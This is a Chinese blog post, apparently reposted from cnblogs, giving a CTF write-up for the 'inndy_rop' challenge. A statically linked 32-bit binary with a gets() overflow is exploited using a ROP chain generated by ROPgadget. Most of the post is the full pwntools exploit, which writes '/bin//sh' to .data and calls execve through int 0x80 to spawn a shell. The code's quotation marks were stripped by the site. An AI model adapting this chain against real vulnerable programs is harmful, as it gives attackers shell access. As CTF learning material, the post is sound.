码迷,mamicode.com
首页 > 其他好文 > 详细

inndy_rop

时间:2020-02-22 21:43:43      阅读:122      评论:0      收藏:0      [点我收藏+]

标签:play   lin   main   RoCE   com   debug   技术   bsp   word   

  头一次见这种题。。。

  32位程序,开启了堆栈不可执行。技术图片

  ida看一眼伪代码。main函数跟前有个函数,进去看一眼。

技术图片

  技术图片

  就一个gets函数,干净利落。。。

  可以进行溢出。听大佬们说,这种情况,就是特别ida看起来特复杂,就是静态编译的结果。静态编译就不会调用libc中的东西,所以我们也不存在泄露版本利用libc的函数了。

  ROPgadget有一个功能,直接利用程序中的片段拼凑rop链。

ROPgadget --binary rop --ropchain

  技术图片

 

  直接替我们把exp都写好了。。。我们直接复制,加个偏移就好了。。。

  记录一下,毕竟没见过。

  贴一下完整的exp:

  

 1 from pwn import *
 2 from struct import pack
 3 
 4 q = process(./rop)
 5 context.log_level = debug
 6 
 7 def payload():
 8     p = a*0xc + bbbb
 9     p += pack(<I, 0x0806ecda) # pop edx ; ret
10     p += pack(<I, 0x080ea060) # @ .data
11     p += pack(<I, 0x080b8016) # pop eax ; ret
12     p += /bin
13     p += pack(<I, 0x0805466b) # mov dword ptr [edx], eax ; ret
14     p += pack(<I, 0x0806ecda) # pop edx ; ret
15     p += pack(<I, 0x080ea064) # @ .data + 4
16     p += pack(<I, 0x080b8016) # pop eax ; ret
17     p += //sh
18     p += pack(<I, 0x0805466b) # mov dword ptr [edx], eax ; ret
19     p += pack(<I, 0x0806ecda) # pop edx ; ret
20     p += pack(<I, 0x080ea068) # @ .data + 8
21     p += pack(<I, 0x080492d3) # xor eax, eax ; ret
22     p += pack(<I, 0x0805466b) # mov dword ptr [edx], eax ; ret
23     p += pack(<I, 0x080481c9) # pop ebx ; ret
24     p += pack(<I, 0x080ea060) # @ .data
25     p += pack(<I, 0x080de769) # pop ecx ; ret
26     p += pack(<I, 0x080ea068) # @ .data + 8
27     p += pack(<I, 0x0806ecda) # pop edx ; ret
28     p += pack(<I, 0x080ea068) # @ .data + 8
29     p += pack(<I, 0x080492d3) # xor eax, eax ; ret
30     p += pack(<I, 0x0807a66f) # inc eax ; ret
31     p += pack(<I, 0x0807a66f) # inc eax ; ret
32     p += pack(<I, 0x0807a66f) # inc eax ; ret
33     p += pack(<I, 0x0807a66f) # inc eax ; ret
34     p += pack(<I, 0x0807a66f) # inc eax ; ret
35     p += pack(<I, 0x0807a66f) # inc eax ; ret
36     p += pack(<I, 0x0807a66f) # inc eax ; ret
37     p += pack(<I, 0x0807a66f) # inc eax ; ret
38     p += pack(<I, 0x0807a66f) # inc eax ; ret
39     p += pack(<I, 0x0807a66f) # inc eax ; ret
40     p += pack(<I, 0x0807a66f) # inc eax ; ret
41     p += pack(<I, 0x0806c943) # int 0x80
42     return p
43 shell = payload()
44 q.sendline(shell)
45 q.interactive()

inndy_rop

标签:play   lin   main   RoCE   com   debug   技术   bsp   word   

原文地址:https://www.cnblogs.com/bhxdn/p/12347296.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!